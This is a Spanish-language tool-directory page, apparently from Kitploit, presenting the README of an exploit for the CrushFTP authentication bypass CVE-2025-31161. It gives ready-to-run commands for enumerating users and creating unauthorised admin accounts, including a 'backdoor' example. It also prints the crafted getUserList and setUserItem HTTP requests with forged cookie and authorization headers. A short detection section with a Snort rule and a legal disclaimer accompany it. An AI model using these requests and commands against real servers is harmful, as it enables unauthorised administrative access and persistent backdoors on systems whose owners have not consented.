Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CrushFTP-auth-bypass-CVE-2025-31161 — Exploit para la omisión de autenticación en CrushFTP CVE-2025-31161: detecta objetivos vulnerables, enumera usuarios y crea cuentas de administrador no autorizadas mediante solicitudes HTTP manipuladas en Go y Bash. | Kitploit
Herramientas/GitHubGitHub/0xdtc/crushftp-auth-bypass-cve-2025-31161
Autenticación y AutorizaciónGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónComando y ControlAprendizaje y Educación

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Red Teaming
GitHub0xdtc/crushftp-auth-bypass-cve-2025-31161

CrushFTP-auth-bypass-CVE-2025-31161

Exploit para la omisión de autenticación en CrushFTP CVE-2025-31161: detecta objetivos vulnerables, enumera usuarios y crea cuentas de administrador no autorizadas mediante solicitudes HTTP manipuladas en Go y Bash.

Ver Repositorio
4hace 11 mesesAún no revisado
Compartir

Bypass de Autenticación de CrushFTP - CVE-2025-31161

License: MIT CVE Go Bash

Un completo conjunto de herramientas para explotar CVE-2025-31161, una vulnerabilidad de bypass de autenticación en CrushFTP que permite la creación no autorizada de cuentas de usuario.

🔍 ¿Qué es CVE-2025-31161?

CVE-2025-31161 es una vulnerabilidad crítica de bypass de autenticación en CrushFTP que permite a los atacantes crear cuentas de usuario no autorizadas sin una autenticación adecuada. Esta vulnerabilidad existe en la funcionalidad de gestión de usuarios de la interfaz web.

Detalles Técnicos

  • Puntuación CVSS: Por determinar
  • Software Afectado: Interfaz Web de CrushFTP
  • Vector de Ataque: Red
  • Autenticación Requerida: Ninguna
  • Impacto: Compromiso completo del sistema mediante creación no autorizada de cuentas

🚀 Características

  • Soporte Multi-Lenguaje: Implementaciones en Go y Bash
  • Detección Inteligente de Vulnerabilidades: Comprueba automáticamente si el objetivo es vulnerable antes de la explotación
  • Enumeración de Usuarios: Lista usuarios existentes en objetivos vulnerables
  • Creación de Usuarios: Crea nuevas cuentas administrativas
  • Modo Interactivo: Solicita credenciales solo cuando se confirma que el objetivo es vulnerable
  • Banderas Abreviadas: Acceso rápido con las banderas -t, -p, -tu
  • Soporte de Puerto Personalizado: Puerto configurable para diferentes escenarios de despliegue
  • Enfoque Educativo: Diseñado para desafíos CTF e investigación de seguridad

📁 Estructura del Repositorio

root@kitploit:~
CrushFTP-auth-bypass-CVE-2025-31161/
├── README.md                 # Esta documentación
├── cve-2025-31161.go        # Implementación en Go (recomendada)
├── cve-2025-31161.sh        # Implementación en Bash
└── LICENSE                  # Licencia MIT

🛠️ Instalación y Requisitos

Prerrequisitos

Para la Versión en Go (Recomendada)

root@kitploit:~
# Instalar Go (si no está ya instalado)
sudo apt install golang-go
# o
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin

Para la Versión en Bash

root@kitploit:~
# Requiere curl (normalmente preinstalado)
sudo apt install curl

Configuración Rápida

root@kitploit:~
git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh

🎯 Uso

Versión en Go (Recomendada)

Listar Usuarios

root@kitploit:~
# Uso básico con banderas abreviadas
go run cve-2025-31161.go -t example.com -lu

# Con puerto personalizado
go run cve-2025-31161.go -t example.com -p 8080 -lu

# Banderas en formato largo
go run cve-2025-31161.go --target_host example.com --port 8080 -lu

Añadir Nuevo Usuario

root@kitploit:~
# Crear nuevo usuario (solicitará nombre de usuario/contraseña)
go run cve-2025-31161.go -t example.com -au

# Con usuario objetivo personalizado (por defecto: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au

# Banderas en formato largo
go run cve-2025-31161.go --target_host example.com --target_user admin -au

Versión en Bash

Listar Usuarios

root@kitploit:~
# Uso básico
./cve-2025-31161.sh -t example.com -lu

# Con puerto personalizado
./cve-2025-31161.sh -t example.com -p 8080 -lu

Añadir Nuevo Usuario

root@kitploit:~
# Crear nuevo usuario
./cve-2025-31161.sh -t example.com -au

# Con configuración personalizada
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au

Banderas Disponibles

Ejemplos de Uso

root@kitploit:~
# Ejemplo 1: Enumerar usuarios en el objetivo
go run cve-2025-31161.go -t ftp.example.htb -lu

# Ejemplo 2: Crear cuenta de backdoor
go run cve-2025-31161.go -t ftp.example.htb -au
# Luego ingrese: nombre de usuario: backdoor, contraseña: P@ssw0rd123

# Ejemplo 3: Puerto no estándar con enumeración de usuarios
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu

# Ver ayuda
./cve-2025-31161.sh --help

🔄 Cómo Funciona

root@kitploit:~
flowchart TD
    A[Iniciar Exploit] --> B[Comprobar Conectividad del Objetivo]
    B --> C{¿Objetivo Alcanzable?}
    C -->|No| D[Salir: Conexión Fallida]
    C -->|Sí| E[Enviar Solicitud getUserList]
    E --> F{¿Respuesta Contiene OK?}
    F -->|No| G[Salir: No Vulnerable]
    F -->|Sí| H[¡El Objetivo es Vulnerable!]
    H --> I{¿Modo Seleccionado?}
    I -->|Listar Usuarios -lu| J[Analizar Respuesta XML]
    J --> K[Mostrar Lista de Usuarios]
    K --> L[Salir: Éxito]
    I -->|Añadir Usuario -au| M[Solicitar Nombre de Usuario]
    M --> N[Solicitar Contraseña]
    N --> O[Enviar Solicitud de Calentamiento]
    O --> P[Crear Payload de Creación de Usuario]
    P --> Q[Enviar Solicitud setUserItem]
    Q --> R{¿Usuario Creado Correctamente?}
    R -->|Sí| S[Éxito: Cuenta Creada]
    R -->|No| T[Fallido: Explotación Fallida]

    style A fill:#e1f5fe
    style H fill:#c8e6c9
    style K fill:#81c784
    style S fill:#4caf50
    style D fill:#ffcdd2
    style G fill:#ffcdd2
    style T fill:#ffcdd2

🧪 Flujo de Explotación Explicado

Paso 1: Detección de Vulnerabilidad

El script primero envía una solicitud getUserList para comprobar si el objetivo es vulnerable:

root@kitploit:~
GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

Si la respuesta contiene <response_status>OK</response_status>, el objetivo es vulnerable.

Paso 2a: Enumeración de Usuarios (Modo Listar Usuarios)

Al usar la bandera -lu, el script analiza la respuesta XML y extrae los nombres de usuario:

root@kitploit:~
<user_list type="vector">
    <user_list_subitem>ben</user_list_subitem>
    <user_list_subitem>crushadmin</user_list_subitem>
    <user_list_subitem>default</user_list_subitem>
</user_list>

Salida:

root@kitploit:~
[+] Usuarios:
  - ben
  - crushadmin
  - default

Paso 2b: Creación de Cuenta de Usuario (Modo Añadir Usuario)

Al usar la bandera -au, el script envía una solicitud setUserItem con un payload XML malicioso:

root@kitploit:~
POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded

command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If

Paso 3: Verificación

El script comprueba la presencia de <response_status>OK</response_status> en la respuesta para confirmar la creación exitosa del usuario.


⚠️ Detalles de la Vulnerabilidad

Causa Raíz

La vulnerabilidad se deriva de comprobaciones de autenticación insuficientes en la funcionalidad de gestión de usuarios de la interfaz web de CrushFTP. La aplicación acepta solicitudes de creación de usuarios sin validar adecuadamente los permisos del solicitante.

Evaluación de Impacto

  • Confidencialidad: ALTA - Acceso no autorizado al sistema de archivos
  • Integridad: ALTA - Capacidad de modificar/subir archivos
  • Disponibilidad: MEDIA - Potencial de agotamiento de recursos

Escenarios de Ataque

  1. Acceso Inicial: Crear cuentas de backdoor para acceso persistente
  2. Escalada de Privilegios: Crear cuentas de nivel administrador
  3. Exfiltración de Datos: Acceder a archivos sensibles a través de la interfaz FTP
  4. Movimiento Lateral: Usar el servidor FTP comprometido como punto de pivote

🛡️ Detección y Mitigación

Métodos de Detección

  • Monitorear solicitudes inusuales setUserItem en los registros web
  • Verificar la creación de nuevas cuentas de usuario fuera de los procesos normales
  • Implementar detección de anomalías para patrones de bypass de autenticación

Estrategias de Mitigación

  1. Inmediato: Bloquear el acceso a los endpoints /webinterface/function/
  2. Corto Plazo: Actualizar a la versión parcheada de CrushFTP
  3. Largo Plazo: Implementar controles de autenticación adecuados

Firmas de Red

root@kitploit:~
# Ejemplo de Regla Snort/Suricata
alert http any any -> any any (msg:"Intento de Exploit CVE-2025-31161 en CrushFTP"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)

🎓 Casos de Uso Educativos

Escenarios CTF

  • Seguridad en Aplicaciones Web: Comprender vulnerabilidades de bypass de autenticación
  • Pruebas de Penetración: Demostrar técnicas de explotación del mundo real
  • Ejercicios de Red Team: Simular ataques estilo APT

Objetivos de Aprendizaje

  • Comprender la manipulación de solicitudes HTTP
  • Técnicas de inyección XML
  • Metodologías de bypass de autenticación
  • Desarrollo de exploits multi-lenguaje

🚨 Aviso Legal

⚠️ IMPORTANTE: Esta herramienta está diseñada para:

  • Fines educativos
  • Pruebas de penetración autorizadas
  • Competiciones CTF
  • Investigación de seguridad en entornos controlados

NO USE en sistemas sin permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es ilegal y puede acarrear graves consecuencias legales.

🤝 Contribuciones

¡Las contribuciones son bienvenidas! Por favor:

  1. Haga un fork del repositorio
  2. Cree una rama de características (git checkout -b feature/mejora)
  3. Confirme sus cambios (git commit -am 'Añadir nueva característica')
  4. Empuje a la rama (git push origin feature/mejora)
  5. Cree una Solicitud de Extracción (Pull Request)

Directrices de Desarrollo

  • Siga el estilo de código existente
  • Añada comentarios completos
  • Pruebe en múltiples entornos objetivo
  • Actualice la documentación para nuevas características

📝 Historial de Versiones

VersiónFechaCambios
1.0.02025-01-XXLanzamiento inicial con implementaciones en Go y Bash
1.1.02025-01-XXModo interactivo y detección de vulnerabilidades

📚 Referencias

  • Detalles de CVE-2025-31161
  • Sitio Web Oficial de CrushFTP
  • Bypass de Autenticación OWASP
  • Investigación Original por Immersive Labs

📧 Contacto

Para preguntas, sugerencias o preocupaciones de seguridad, por favor abra un issue en este repositorio.

Descargar herramienta
BandeaForma LargaDescripciónPor Defecto
-t--target_hostHostname o IP del objetivo (obligatorio)-
-p--portPuerto del objetivo80
-tu--target_userUsuario objetivo para la explotacióncrushadmin
-lu--list-usersListar usuarios existentes-
-au--add-userAñadir nuevo usuario (interactivo)-
--helpMostrar mensaje de ayuda-
1.2.0
2025-10-02
Añadida enumeración de usuarios (-lu), modo separado de añadir usuario (-au), banderas abreviadas (-t, -p, -tu)